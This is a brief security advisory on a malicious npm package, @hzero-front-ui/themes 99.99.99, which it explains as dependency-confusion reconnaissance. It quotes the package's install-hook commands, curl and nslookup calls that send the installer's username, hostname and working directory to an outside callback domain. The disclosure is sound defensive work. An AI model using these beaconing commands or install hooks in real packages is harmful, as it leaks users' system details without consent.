Summary
Malicious code in @hzero-front-ui/themes (npm)
Details

package.json defines preinstall and install lifecycle scripts that run automatically on npm install. The scripts collect the installer's whoami, hostname, pwd, and $npm_package_name, base64-encode them, and beacon them to subdomains of callback.m0chan.co.uk via both an HTTPS GET (curl -sm5 https://$pkgsub.callback.m0chan.co.uk/<b64>) and a DNS lookup (nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk). The scoped name @hzero-front-ui/themes combined with version 99.99.99 is the classic dependency-confusion recon shape — a high version number published to public npm to override a private-registry package of the same name and phone home from any machine that resolves it.
